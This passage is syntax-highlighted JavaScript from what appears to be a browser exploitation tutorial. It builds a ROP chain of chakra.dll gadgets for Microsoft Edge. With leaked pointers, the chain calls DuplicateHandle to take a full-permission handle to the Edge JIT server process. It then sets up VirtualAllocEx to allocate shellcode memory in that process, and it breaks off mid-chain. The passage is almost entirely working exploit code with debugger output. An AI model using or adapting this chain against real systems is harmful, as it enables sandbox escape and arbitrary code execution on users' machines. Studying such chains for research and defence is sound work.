<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
